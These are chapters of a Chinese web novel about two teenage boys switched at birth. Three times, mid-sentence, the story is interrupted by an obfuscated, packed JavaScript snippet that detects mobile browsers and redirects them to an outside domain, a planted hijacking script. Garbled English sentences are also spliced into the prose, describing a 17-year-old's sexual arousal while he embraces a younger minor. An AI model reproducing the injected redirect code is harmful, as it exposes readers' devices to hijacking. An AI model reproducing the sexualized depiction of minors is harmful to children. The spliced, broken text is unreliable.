岂料简知却像做错了事情一般,猛地又缩回手,捂住嘴巴嗡嗡地说:“哎呀,我又把顺序弄错了!”然后再松开双手,对着路觉铭,笨拙地用一只手的食指指向路觉铭,然后另一只手握拳,拇指向上比划。 那是手语的“你好”。 他做完之后,颇为得意地露出小虎牙一笑,向简川道:“爸爸你看,我刚在网上学的手语,你不会吧~” 简川笑容生硬,慌乱地点了好几下头,鼓励他道:“对,爸爸不会,爸爸没去学手语,知知真棒。” 简知开心地晃晃脑袋,又看向路觉铭说:“哥哥,你要是听不见我说话,我就以后用手语和你讲话!欢迎你来我家~” 沈晓清的表情难过了一瞬,她忙挽住路觉铭的胳膊,生怕简知的无心之言,会让路觉铭心存芥蒂。 ——这里本来应该是路觉铭的家。 可路觉铭却在认真地看着简知。 他对着简知,指了指自己,又指了指助听器,先将手掌放在耳后,又指了指简知,意思是“我用助听器听得见你”。 简知这下看不懂他的意思了,只能糊里糊涂地摸摸头,然后老实道:“不好意思呀哥哥,我比较笨,不明白你在说什么,不过我会努力学的!” 他开始朝路觉铭像对着熟人一样,用上了点撒娇的语气,笑眯眯地朝路觉铭凑近一步,摇摇对方的手腕,双眼亮晶晶的,像可爱小狗在求表扬。 谁能不对着他心软呢。 沈晓清忍不住摸了摸简知脑袋,对他道:“好了,你先别缠着哥哥,哥哥很累了,先让哥哥去房间里收拾下,等会儿再来找哥哥玩,好吗?” 简知乖乖点头,他向来听父母的话,便松开路觉铭的手,侧身让过,说:“那你先上去吧哥哥,你要住哪间房间呀?住我边上行吗?” 简川提醒道:“你要让哥哥自己挑房间,不许指挥哥哥。” 简知立刻闭嘴,表情不甘地向路觉铭投去一个眼神,路觉铭会意,却不敢表露出一丝丝微笑。 他从未想过简知会这样亲切粘人,远比他所能想象到的更加生动,更加……可爱。 他感到仿佛有一头活兔在胸口四处乱蹦,心情欢悦,可他早已习惯隐藏自己的情绪,因此连笑都没笑,只用一双黑白分明的眼睛盯着简知。 简知被他看得感觉奇怪,耳朵烫烫的,忙把手背在身后,转过身,往电梯间走去:“那我先回房间做作业啦!” 沈晓清似很不相信地笑了一声,下意识侧过脸对简川道:“他肯主动写作业才怪。” 可她忘了,她现在挽着的是路觉铭。 母子二人视线相触,沈晓清脸上的那抹轻松笑意立刻淡下,又慌张地对路觉铭扯出一抹笑。 面对路觉铭,她总是觉得亏欠,因此半点也不敢在他面前,表现出自己对简知的熟悉和关爱。可无论是神态、动作还是这十几年相处下来的记忆,她总难免或多或少的,更与简知亲近些。 简川适时道:“走吧,小铭,我们带你上楼转转,你看下自己想住哪里,这里每一间客房你都能住,不过我们给你准备了四楼的一间套房——” 路觉铭没出声,只是点点头,跟着他们步行上楼,心里却记着简知说过的话,他从口袋里掏出自己的老年机,在上面打完字,然后递给沈晓清看。 他写的是:“我想住简知旁边。” 沈晓清意外地看他一眼,说:“你要住知知旁边?” 简川亦停下脚步,回身看他,透过无框眼镜,露出惊讶神色。 路觉铭坚定地、沉默地点点头。 沈晓清有些为难地说:“可是你们……” 她紧张起来,努力想着不让路觉铭和简知睡在隔壁的理由,但简川却拍拍她的手背,安慰道:“既然孩子们想睡在一起,那就让他住那边吧,知知旁边正好有间游戏室,他们两个一起玩玩游戏也蛮好……” 沈晓清这才点头同意。 简知发现陆觉铭就住在他边上,又幸福了,在沈晓清帮路觉铭整理带来的衣服时,就趴在门框边上偷看。 简知的房间是一间套房,里面还带着浴室、洗手间、衣帽间和小客厅,但路觉铭这间就是普通的客房,不过十几平方大小,沈晓清有些心疼地说:“这房间太小了,你要是住得不舒服,可以换一间。” 路觉铭往门口处望去。 简知立刻把头缩走。 路觉铭知道简知在偷看——他看到了简知头顶的一绺头发,但他假装没发现,又转过头,简知则立刻把头伸出门框。 “知知!”沈晓清双手叉腰,喊住简知。 简知笑了一声,从门框背后跳出来,老神在在道:“我来看看你们收拾得怎么样啦,妈妈。” 沈晓清道:“不是说去写作业?这才写了几分钟?” “哎呀,反正还早,”简知大大咧咧道,“我晚上一定会写完的!” “晚上我会让 Nicole 检查你的作业进度,”沈晓清说着,又低头看了眼路觉铭的行李,那仅仅是一个装满的黑书包,“你还有什么需要的东西吗?我让他们给你拿过来。” 路觉铭摇摇头。 沈晓清表情有些无奈,她又检查了下这房间里的床单之类的是否铺好,电动窗帘功能是否完好之类,便想帮路觉铭拿起那个书包:“行李我帮你放衣柜——” 路觉铭拦住了她,示意他自己来。 沈晓清有些尴尬地松开手。 她说:“那、那我就先出去了,你先自己收拾一下吧,可以吗?” 路觉铭颔首,姿态疏离又谨慎。 和她与简知之间的关系完全不同。 她拉着简知离开房间,小心地帮路觉铭带上门,又把简知送回自己屋,说道:“快去写作业,晚上我让佣人姐姐给你做了好吃的,今晚我们和哥哥一起吃饭。” “好呀好呀,”简知点头如捣蒜,钻回房间,又探出半个身体,“那让佣人姐姐也做些哥哥喜欢吃的吧!哥哥是我们家的客人呀!” 沈晓清内心一阵酸楚,又要红眼眶,朝简知强颜欢笑道:“知道了,我会告诉她们的。” 其实她既不知道自己的亲生儿子爱吃什么,也不知道他讨厌吃什么、对什么过敏。 她想,没有人会专门去问一个哑巴的喜恶,路觉铭这十七年来,大概是什么都吃,喜欢的、不喜欢的、不能吃的、不爱吃的,他都一样去吃。 而与此同时,简知却有那么多那么多喜欢的不喜欢的事物,厨房甚至有为他负责的营养师和厨师,有他的饮食记录档案……这明明…… 沈晓清难过得不知如何是好,忙扭过脸转身,不让简知看到自己的眼泪。 见她下了楼,假装关上门,实际上躲在门缝后面偷窥的简知立刻跑到房间的另边,找到了那面和路觉铭的房间相同的墙。 他敲了敲墙壁,问:“哥哥,哥哥,你在干嘛呀?” 那边过了一会儿,才传来两下敲击。 简知这才想起来陆觉铭不会说话。 他忙自己打了一下自己的额头,又小声念叨“对不起对不起”,然后提高声音:“哥,我能来你房间吗,要是不能你就敲一下,要是可以就敲两下。” 那边安静一会儿,紧接着,是“咚咚”两声敲击。 简知笑眯眯,轻手轻脚地打开房门,一个转身就推开了另一边房门,走进去对路觉铭猖狂道:“哈哈,妈妈总算走啦!” 路觉铭就站在床边,安安静静地看着他。 这年路觉铭身高已有一米八七,他背对窗户时,更显得尤为高大,简知要稍微仰头,才能看清路觉铭的表情——那是一种奇异的,仿佛极为重视简知的神情,像静水流深。 从没有人用这种眼神看他,那眼神端端正正地落在他身上,让简知一下手足无措起来。 简知忙收起自己张开的手臂,向路觉铭床上看去,发现后者已经打开自己的旧书包,从里面拿了几件衣物出来,正要挂进衣橱。 简知很好奇地低头看路觉铭的随身衣物,发现都是些旧旧的、领边都磨毛的短袖,还有几条裤脚管沾上洗不掉的机油污渍的运动裤。 他很直白地说:“咦,你的衣服都好破啊。” 路觉铭亦不觉得有任何被人当面点破或者羞辱的尴尬,很自然地点了下头,拿起一件短袖,便去挂进衣柜。 他自幼节俭惯了,哪怕日后替人做事时,每月工资已足够购置新的衣物,也都懒得去买新的,工资卡上的钱都自动打到路珍妹账户上,自己只留很少一部分用来吃喝。 在学校里,他就只穿校服,虽然初中学校发的那套运动校服码数有些小,但他依然穿了许久,穿到连魏潇都受不了,让他去买套新衣服。 然后他又把魏潇给他的置装费存进了路珍妹账户。 路觉铭收拾完自己的几件短袖和长裤,又把几条叠好的内裤放进内衣抽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993609|178070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屉,简知已干脆躺在他床上,优哉游哉地看他掏些旧衣物出来。 在小少爷眼里,连他人的贫穷都成了一种可供观赏的娱乐。 简知清了清喉咙,准备开口。 路觉铭拉上书包拉链,已做好心理准备好接受简知的嘲笑,熟料简知却说:“哥哥,你的衣服看起来都好舒服呀,能不能让我也穿穿看。” 路觉铭回头看他。 简知躺在床面上,一手撑着头,表情诚恳真切,眼神又充满好奇,衣服因为折叠而向上攀爬了一截,露出两厘米宽的腰肢,像头白白嫩嫩的小羊。 他向这世界都露出毫无防备的、天真驯服的姿态,到底要被保护得多好,才能这样善良和温柔。 路觉铭捏了捏手心,怀疑助听器出问题。 简知想……穿他的,衣服? 路觉铭心脏一下砰砰跳起来,在胸腔里咚咚作响,他抿起双唇,别过视线,不知如何是好,只觉心口一团暖烘烘的东西,烧得他手心发烫、嘴巴发干。 他像是思考很久,才慢慢点了下头,简知马上从床上鸭子坐起来,爬到路觉铭身侧,仔细用眼神挑选路觉铭挂上去的那几件衣服,最后用手一指:“我要那件,灰色的短袖。” 路觉铭像他的贴身男仆一样,给小少爷递衣服。 简知一拿到手就闻了下,然后点评:“嗯,香香的,我还以为旧衣服会很臭呢。” 路觉铭努力用手语给他打信号替自己辩解:“我每天都洗衣服。” “佣人姐姐还骗我说旧衣服不扔就会变臭,哼!”简知没理他,自顾自说道,然后发出“嘿”的一声,一下子飞快脱掉了自己的针织上衣! 路觉铭还没反应过来,简知已将自己脱成了一只更白更嫩的小羊羔。 他光着上身,就这样大大方方地坐在路觉铭床上,盘着腿,将双臂套进路觉铭的短袖里,又点评道:“哇,好大呀!” 路觉铭常年没有表情的脸上,微微瞪大了眼睛。 他迅速转过身,不敢去看简知。 简知把头钻出领口,笑嘻嘻地说:“你的衣服我穿好宽松哦,哥哥。” 确实,路觉铭遗传了简川的大骨架,天生肩背宽阔,而简知却是南方人常有的小骨架,身量窄小,他穿的短袖套到简知身上,就成了 oversize 的服装,都能遮住简知的屁股。 简知张开双臂,低头左看右看,说:“好像都能当裙子穿。” 他差点要脱下裤子,试试能不能真的当裙子穿。 路觉铭忙按住他的手,不允许简知这么干。 简知狡黠一笑:“我当然是吓唬你的啦,哥哥,你好害羞呀,都是男生,你怕什么,我经常和李震云一起换泳衣的呢……” 路觉铭都不知道自己的脸色一下变得很难看。 他垂下眼帘,抓着简知的手腕,心里想着那个名字,立刻回想起几年前在简知身旁看到的另一张脸——是那个男生吗?他是简知的朋友?他们关系有多好? “好痛!不要这样抓我!” 简知吃痛,皱起小脸,睫毛颤了好几下,想把手腕抽出,这才让路觉铭如梦初醒般连忙松开手。 路觉铭自责不已,他知道自己弄疼了简知,想去查看简知手腕的情况,却被简知满脸警惕地躲了过去。 简知在床上翻了个身,一手圈着自己手腕,紧张兮兮地看路觉铭,声音语调都变了,细小绵软:“哥……你、你干嘛。” 他把路觉铭着急紧张的神色当成了生气,害怕地打量对方,不管三七二十一,先道歉再说:“对、对不起,你生气了吗?我马上把你的衣服还给你……你不要生气啊!” 路觉铭急得连打了三遍手语“没有生气”,可简知这笨脑子怎么可能看得懂,还以为路觉铭张开巴掌是要打他耳光,吓得连眼睛都闭上。 路觉铭真的心都快碎了。 他实在没有办法让简知理解自己的话,又心急又心痛,情急之下,居然敢做出从未奢想过的动作,坐到床边,一把将简知抱进怀里。 他虽然心急,可动作之间分明能感觉到他在努力动作轻柔,生怕又把简知弄痛了。简知感知到安全,这才把挡在头顶的双手松开,小心翼翼地抬起头,瞄路觉铭一眼。 “你刚才没生气吗?”简知在路觉铭怀里仰着小脸问。 路觉铭猛猛摇头。 简知愣愣地“唔”了一声,整个人软软小小的一团都被路觉铭掌控,眼睫毛离路觉铭的下巴近在咫尺,温热的呼吸完全在路觉铭怀抱里打转,让路觉铭一下从后脖颈到abdomen都热得发烫。 He haspletely reacted. The penes is so hard that it defies all normal rules and could be noticed at any moment. 路觉铭毕竟已经十七,男孩到这年纪都知道这代表着什么,心中大惊的同时心脏跳得无比之快,几乎要跳出他胸膛,让简知看大笑话。 他不敢再抱,刚要松开双臂,却被简知抓住领口。 简知的额头就抵在他喉结处,还在那边偷笑,往路觉铭胸口蹭:“哥哥和我贴贴啦,我也喜欢和哥哥贴贴。” 他声音轻柔,毫无察觉:“哥哥,多和我贴贴吧,就可以忘记那些不开心的事了。爸爸妈妈都说和我贴贴心情会变好。” 他抬起头,望向路觉铭紧缩的眉头,用手指帮路觉铭眉心结打开。 “哥哥把不好的事情都忘掉,以后不会再有人欺负你了。” The hard penes was almost touching the lower abdomen. 他第一次意识到,爱会让人拥有欲望。 他爱着简知,从一开始,从第一面。 如何都掩饰不了。 简知就是他命中注定的天使。 可凡人只要对天使提起爱,都显得肮脏龌龊。 9. 简知 路觉铭骑着那辆三轮车,载着路珍妹和简知,一路来到荃西街,他从小所住的棚户区出租屋。 一从马路上拐进荃西街,空气中已浮现出外面不曾有过的淡淡霉味。 这片区域是早年洛溪市还没进行城市化开发时就住在这的本地人群居处,洛溪市的主城区开始发展后,本地人纷纷搬离此处,可络绎不绝的外来务工人员则都因为这里的租金便宜而搬了进来,久而久之,这里变成了那些无力负担得起洛溪市昂贵租房价格的人在这座城市的容身之所。 整条街区上,高高低低的矮楼肩并肩挤在一起,屋顶缝缝补补,晒得褪色的蓝色铁皮屋顶与各种防水面料堆积的屋顶相互连缀,若从空中往下望,便如同大大小小的调色颜料方格。 简知从没有来到过这里。 记忆里路觉铭自从搬来简家,就很少和他提起过以前的事,他那时年少轻狂,根本没想过了解路觉铭的曾经。 等他后来在新闻上看到岱宗收购这片区域的地皮进行商业开发时,又已经是很多很多年以后了。 他们抵达路珍妹租住的那间小屋,是一间平房,门口有一块没有铺好的泥地,用旧铁丝网做的栅栏将这片泥地围了起来,当做自家院落,里面堆满了各种废弃的大件家具和一些回收品。 路珍妹利索地跳下三轮车,招呼路觉铭把车上的蛇皮袋和纸板搬到院子里一角,而简知则跟在他们后面,小心翼翼地左右观察着这方小小天地。 这是他从未接触过的世界。 以前不懂事的时候,是没想到过去了解,等他后来渐渐明白事理,却已经来不及向路觉铭说声道歉。 路觉铭把东西扛到一边,转过身时,正巧与好奇四顾的简知视线交汇。 简知立刻像做错了事情被抓包的小孩一般,身子一缩,眼神飞快别开,垂下头,双手背到身后,似乎这样就可以让自己从路觉铭的注视下隐身消失。 可路珍妹却没放过他,热情道:“小朋友,你进屋饮茶啊,来来来。” 简知不好推辞,却又在路觉铭的目光中无处容身,憋得双颊与后脖颈皮肤都发红,只能手脚僵硬地跟着祖孙二人进屋。 当他幸运到从未意识到世界上还有这样的生活时,即使是闯入他人的贫乏,都成了一种不道德。 这件屋子内部也不过十几平方大小,所有的生活起居物品都在门口即可一览无余: 四面墙壁被油烟熏得漆黑,屋里成堆垒着绑好的废旧纸板和塑料垃圾,家具都被挤在回收品的狭缝里,这更像是一间放回收旧物的屋子,而不是两个人的的生活空间。 只有正对着蚊帐床的那面墙上仍有色彩:大大小小的褪色奖状贴满了正面墙,泛出浅淡的橙白底色。 那是路觉铭从小到大所有获得过的奖状,都被路珍妹一张一张捋平,郑重其事地贴在墙上,再隔三差五地用鸡毛掸子仔细拂拭每一粒灰尘。 她和天底下所有普通人家一样,觉得家里有个会读书的孩子是最骄傲的事情,小孩只有会读书才能有出息。这一张张金光闪烁的,哪里是奖状,而是她热切盼望着的,路觉铭能够走出这局促贫寒的小屋的凭票。 路珍妹拨开放在木质旧沙发上的杂物,招呼简知坐下。 简知小心翼翼地把屁股挤进那一块平坦表面,旁边路觉铭已从热水壶里倒了杯温水,没放茶叶,递给简知。 简知接过时,因为紧张而手指僵硬,不小心与路觉铭手背相触。 那一瞬间的温暖干燥像往心脏里顶入一根针,痛得他手臂一颤,险些将水杯摔落。 简知下意识抬头去看,就发现路觉铭正低头观察他。一双幽邃黑沉、陷在眉骨阴影下的眼睛。 简知霎时浑身发凉,连心脏中的血液都冷透。 他住院时最怕路觉铭用这种眼神看他。很多时候路觉铭坐到他的病床边,就会用这眼神安安静静地盯着他看。这眼神带着点探究,似乎想把他的灵魂挖出来仔细瞧个遍,又似乎带着点儿濒临疯狂的诡异平静——简知总怕再往前一步,路觉铭就会伸出手扼住他的脖子,质问他为什么要夺走属于他的一切。 简知面色惨白,神情中不自觉露出几分惊惧凄惶,双眼湿漉漉地躲开路觉铭视线捕捉,无意识用双手将那茶杯紧握。 路觉铭的手指自杯身离去,眉心微微一蹙,光是这表情,已把简知吓得坐立不安。 路珍妹还在和他说话,问他几岁了、在读几年级,他如实回答,可在路觉铭审视的目光下,又觉得每一秒都无比漫长。 简知忍不住分出一丝心神,狠狠谴责起自己来。 他想,他明明已经知道,这里才是他本应该生活的地方,他就应该在这长大,路珍妹也本该是他的奶奶,可他就是无所适从。 这里就像是一段属于路觉铭的秘密回忆,而他则是那个闯入者。 充满着生活痕迹的空间,早已成为一件私密物品。这不是属于他的。 他不应该想着,自己才应该住在这,这无异于再一次夺走路觉铭所珍视的东西。 简知终于意识到了。 他一点也不习惯这里,觉得自己触碰了路觉铭的某种隐私。 简知几乎是数着秒,喝完了一杯白开水。 他是藏不住心思的人,脸上的表情从不会伪装。路珍妹看出了他的局促,只以为是这个一看就是有钱人家出来的小孩子不喜欢这么破旧脏乱的地方,便有些不好意思再开口留他吃饭了。 因此当简知提出要准备回家时,她也没有多拦,只是转身从嵌在杂物堆的一个柜子里摸索出一个柠檬黄的马口铁饼干盒,想塞给简知,道:“小朋友,这个是我从大超市里买的饼干,好好味的,你带着走好不好?” 她眼神在简知脸上打量着,试探又小心,似乎担心简知会看不上。 可那饼干盒却很干净,锃亮。它是全新的,被人小心翼翼地擦拭了好多次,不舍得打开。 简知犹豫了下,不知道自己该不该接,路觉铭却已替他自然地接过。 他把饼干放在一边,向路珍妹打手语:“我帮他拿,陪他回家。” 路珍妹和简知都看得懂他的手语,路珍妹道:“对,阿铭,你记得要送人家回去,路上小心点。” 而简知却瞬间更加慌乱!为什么路觉铭还要送他回家啊,不要! 简知连忙甩头摆手:“不用了!我自己能、能回去的,我先走啦!奶奶再见!” 他急匆匆与路珍妹作别,踏出屋门时,就发现了路觉铭正跟在他身后。 简知立刻站定,又往前走几步,又站定,又往前走几步,只觉双肩和背部都被冻在一起,不知道该怎么活动了。 他像个僵硬的机器人一样抬脚往路边走去。 门外的马路很窄,人行道窄得只有几脚距离,路面上不时有电动车和三轮电瓶驶过,人行道上也都是些修补过的阴井盖,因此简知走得很小心,根本谈不上健步如飞。 路觉铭就一直缀在他身后,不远不近,抬脚快走几步能追上他,放慢步子,也能远远地目送他离开。 简知心脏跳得砰砰作响,完全不敢回头看路觉铭,耳边电动车的喇叭声又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993610|178070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滴滴滴想个不停,他在一片嘈杂里仿佛走在梦中,世界正在他眼前缓慢融化。 那些路边的棚屋一间接着一间地软和下去,融化成浑浊的色块,层层叠叠涂抹在四周,简知一步一步向前走,眼神忍不住向四处看去—— 混乱、嘈杂、样样都挤成一堆,到处都是发霉的门框和生锈的店面,却有一股格外真实的闷腥烟火气扑面而来,混合着汗臭与路沿的尿骚气,一切景象都生猛有力,简知连梦里都没见过这样的街与楼、人与景。 他忽然觉得胸闷气喘,脚下的地面都开始起伏摇晃。 腿脚发软,器官奋力呼吸的声音如风挤过狭小的管道,呼哧作响。 简知大口大口地吸气,脚步不自觉放缓,背越来越弯,地面晃动得也越来越厉害。 身后路觉铭的脚步声明显紧了起来,简知突然生出一股不知道跟谁较劲的委屈,他想,哪怕在我的梦里,路觉铭也不肯放过我吗? 他这一辈子眼看已经到头,可他仍然是个胆小鬼,不敢面对路觉铭。 这股委屈在他心口乱撞乱窜,终于包不住了,要从他舌根下冒出来,仿佛带刺一般地自言自语说:“我知道我这叫回光返照。” 路觉铭的脚步声就在他背后停下。 简知自嘲地笑了笑,不知哪来的胆子,还敢提高声音:“原来死之前,真的像他们说的那样,可以在脑子里看到以前的事。” 他的手在发抖,声音在发颤,额上冒出细细汗珠。 “可我、我要是从这个梦里醒了,我是不是就会死?” 简知一点一点转过身,看向就站在他身后的路觉铭。 少年身形高大,瘦削的身体像收拢的一把蝴蝶刀,眉眼沉默,正紧握双拳,死死盯着简知的脸,眼睑发红。 简知用尽毕生胆量,强迫自己睁大眼睛,直勾勾和这个十七岁的路觉铭,这个他记忆里根本不曾出现过的路觉铭对视。 然后,他惨笑了下。 他像是在问自己,又像是在和对方说话:“我现在从这里出去,是不是就会永远睡着了?我是不是,就永远都不用看见你了?” 简知眼前又看见那辆冲过来的小轿车,在大雪中开着远光灯,撕裂的刹车声,那一瞬间亮如白昼—— 可整个人也向羽毛般的轻柔、快活,好像所有的苦难和悲伤都在那个刹那离他远去。 他转过脸,身体已不由自主地向汽车驶过的路面上踏步过去,像被某种巨大的解脱诱惑。 紧接着,是天旋地转。 手腕被人紧紧攥住,仿佛要捏碎骨头,疼得他想叫出声,身体陷入一个硬如钢铁般的怀抱,箍住他身体的手臂完全要嵌进他的血肉里去。 抱着他的人浑身都在颤抖,皮肤烫得像赤血在皮下翻滚,双眼转瞬已爬满血丝,神情可怖至极。这哪里还是个人,分明是个从炼狱里爬出来的鬼! “……你怎么敢。”他听到这个人在说话,用沙哑到仿佛这辈子没有开过口的嗓子,好像被他吓到神魂俱灭,一个字一个字,咬牙切齿地对他说。 简知张开嘴,努力呼吸着,只觉浑身上下都快要碎裂,眼泪滚滚落下,湿哒哒爬满整张脸,早已看不清谁是谁——十七岁初见的路觉铭,二十岁来找他的路觉铭,二十八岁对他不闻不问的路觉铭,他临死前那个抱着他几欲发狂的路觉铭,无数个路觉铭在同时重叠,哪一个是真,哪一个又是他的幻觉? 他唯一知道的是,他注定要死,他真的会死! 一阵强烈且不可抵挡的晕眩向他袭来,简知身体一软,闭上眼睛。 10. 简知 昏迷中,往日种种,轮番映现,仿佛一出剪辑错误的烂电影。 简知看到十七岁那年圣诞节,他和路觉铭半夜挤在家里的圣诞树底下,路觉铭亲口对他承诺“我永远陪着你”,可刚说完这句话,路觉铭不知道为什么就换上了西装,俨然是成年男人模样,站在越南河内酒店昏黄的灯光下,满脸阴鸷。他抓着路觉铭的领子说自己后悔了,能不能带他回家,然而再一转眼,路觉铭已是身披白素,手里捧着小小的骨灰盒,他跌跌撞撞走上去问,这是谁的葬礼,路觉铭就低下头告诉他,这正是简知的葬礼,他很快就下来陪他一起,让他一个人别害怕—— 他在梦境中奋力大喊,让路觉铭回去、回去,别来找他,让路觉铭好好过自己的美好人生,可路觉铭怎么都不肯听,只反反复复地说“我会来陪你”,他推他、踹他、使劲浑身解数,却怎么样都没办法让他回去。 简知被路觉铭最后说的那句话吓醒了。 在梦里,路觉铭说的是轻轻一句,“你怎么就不肯等等我。” 路觉铭说这句话时,语气里明明什么波澜起伏都没有,可简知偏偏听出一股刺骨的寒意,冻得他牙齿直打颤。 他恍惚间听到自己的牙齿“咯吱”一声响,轻飘飘的身体便立刻有了重量,像某种魂魄归位。 紧接着,大脑拥有了身体的控制权,眼皮也能按自己的心意,颤巍巍地睁开了。 几个影影绰绰的人像,在他眼前慢慢凝实,然后他就认出了妈妈的脸。 沈晓清面容憔悴,眼下区域有些发肿,连眼睛都是红的,母子二人视线相接,她立刻露出惊喜神色,小声低呼起来:“醒了、醒了……” 她俯身弯腰,双手拢住简知的手,几乎掉出眼泪:“宝贝,你到底怎么了,知不知道差点吓死妈妈!” 床边的沙发扶手椅处也立刻站起一个身影,简川一身浅银灰西装发皱松垮,疾步冲到简知左手边,连声道:“怎么样了,宝宝,感觉还好吗?我去让医生来看看。” 简知眼睛一眨也不眨地看着沈晓清,又慢慢扭过头去看简川。 他脑袋仍然有些发沉,像半梦半醒,分不清自己身在何处。他对医院实在太熟悉,人生的最后几年,差不多都在医院度过,恍惚间以为这里就是半山医院,而面前久违的父母,是来接他走的。 他……他也能有,被他们宽恕的一天吗? 简知的心脏抽搐了下,睫毛飞快颤动,再定睛一看,才发现就在二人身后不远处,路觉铭正站在病房角落里,直直望向他。 简知灵魂如遭雷击,不久前发生的一切这才鲜活地闪现在他眼前:车祸、年轻的妈妈、十七岁的路觉铭、从未见过的路珍妹……他仿佛跌进另一个陌生的时空,陌生到让他有些无所适从。 他的视线逃避般从路觉铭身上移开,又看向带着泪意的沈晓清,开口时嗓子火辣辣地干疼:“妈……妈妈……” “宝贝乖,先喝点水,”沈晓清摸了摸他的额头,从床边柜上拿起一杯水喂到他嘴边,“你不要着急说话,你现在嗓子一定很干。” 简知像小鹿一样,乖乖啜饮着杯子里的水,清水濡湿了他的唇瓣,也滋润了些他的口舌。 他喝了大半杯水,喉咙里火烧火燎的感觉才消下去,然后努力张口,安抚起沈晓清:“对、对不起……妈妈,我没事,你别担心……” “医院打电话说你突然晕倒,爸爸妈妈半条命都要被吓掉了,”简川按完呼叫铃,心有余悸地对简知说着,“你妈妈和我在病房里守了你一整夜,连眼睛都不敢合上。” 简知感觉鼻子酸酸的,眼底发热,险些要哭,却不想再让他们担心,只能强行忍住眼泪,哑声道:“对不起……” “你别给孩子那么大压力行不行?”沈晓清喝止简川道。 她白了他一眼,又俯身摸了摸简知的脑袋,轻声道:“宝贝不用跟爸爸妈妈道歉,爸爸妈妈没关系的,最重要的是宝贝没事。” 简川尴尬地推了下眼镜,然后想起什么一样,往身后看去:“对了,说起来,还得好好感谢下你这位新朋友,要不是他第一时间送你来医院,我们什么时候能找到你还不知道呢。” 简知的目光顺着他看的方向,再次回到路觉铭身上。 路觉铭仍然是先前那身衣服,蓝白色的旧校服,只是眼角和眼尾有很多红血丝。他双手插袋,直直地站在角落里,哪怕旁边就是病房里的沙发,他也没坐下。 见简知醒来,他的喉结动了动,但双唇依旧紧闭,也没用他的手“说话”,原本靠墙的身体向前站直,似乎准备离开。 简川道:“哎呀,你这孩子,你先别走,你也陪着我们一晚上没睡了,这样,叔叔叫人去帮你去对面酒店开个房间,你先去睡一觉吧。” 路觉铭已走到病房门口,闻言身体一僵,却并没转身,自顾自地推开了门。 “哎,你等下——”简川刚要让想让门外的助理拦住他,却被简知拉住了衣角。 他低头一看,发现病床上的简知早已泪流满面。 简知哭得哆哆嗦嗦地说:“爸、爸……你先别……” “宝贝怎么了?”“宝贝别哭,是不是哪里不舒服?” 夫妇二人不约而同地围到他身边,可简知却只是死死攥住简川西装外套的衣角,手心用力到发白。 他看向门口僵住的路觉铭,眼泪漫漶,堵塞鼻子,模糊不清地说道:“他,他不是我朋友——他才是你们的儿子……” 这句话换来了路觉铭的猛然转身。 简知头一次在路觉铭脸上,看到除了平静和冷酷之外的表情。 ——愤怒。 他明显感觉得到,路觉铭在生气。而且是非常非常生气的那种。 路觉铭看他的眼神几乎要将他烧穿了,似乎他说了什么不该说的话,做了最坏最错的事情。 简知的身体随着肌肉记忆开始发抖,可他却强撑着别过头,不想屈服于路觉铭的盛怒,也没有细想路觉铭的这份怒火到底从何而来。 因为他知道,这是他一开始就该做的事。 他已经把眼前的一切当成命运对自己临死前的施舍,或许每个人死前都会有这样的幻觉,既然如此,他就该去完成所有曾经的遗憾,包括把本来属于路觉铭的人生还给对方。 这是他做的最对的事情。他就该在见到爸爸妈妈的第一时间,告诉他们谁才是他们的儿子。 他不值得他们这样的关切。 明明路觉铭,才是那个他们真正该捧在手心里的孩子。 “你在说什么?知知,你这话是什么意思?” “宝贝,爸爸没听懂你的意思,你说他是谁?” 夫妇二人都没有反应过来,疑惑地追问着,而路觉铭则大跨步冲向简知床边,手掌按照床边护栏时,力气大得将简知的床铺都压沉了几分。 简知听到路觉铭低哑的声音在自己头顶响起。 “……不。” 简知有些惊愕地向上看去。 他原本还以为,昏迷前听到路觉铭说的那四个字只是他的幻觉,没想到,这个十七岁的路觉铭真的会说话! 怎么回事…… 为什么和他的记忆不一样呢?难道是他记错了?早在路觉铭来到简家之前,就学会发声说话了?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993611|178070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 简知楞楞地看着路觉铭。 路觉铭正一字一句地,努力纠正自己的发音,告诉简川和沈晓清:“他,还没,清……醒,在说,胡话。” 夫妇二人耐心地听他说完,也是有些惊异,没明白简知所指,差点要相信了路觉铭的说辞,可简知却突然用力摇晃着简川衣角,道:“我说的是真的,爸爸。” 简知强行无视路觉铭,又去看沈晓清,着急地说:“妈妈,你一定要相信我。” 沈晓清为难地皱起眉头,看向简知的神情颇为复杂,几乎明晃晃地写着几个大字:她不相信。 简川哄他道:“知知,你别着急,爸爸妈妈没有不相信你呀,我们先等医生过来帮你做下检查好不好?” “不是的,我真的没说胡话,你们相信我——”简知心急如焚。 可周围的这三个人似乎没一个把他的话当真。 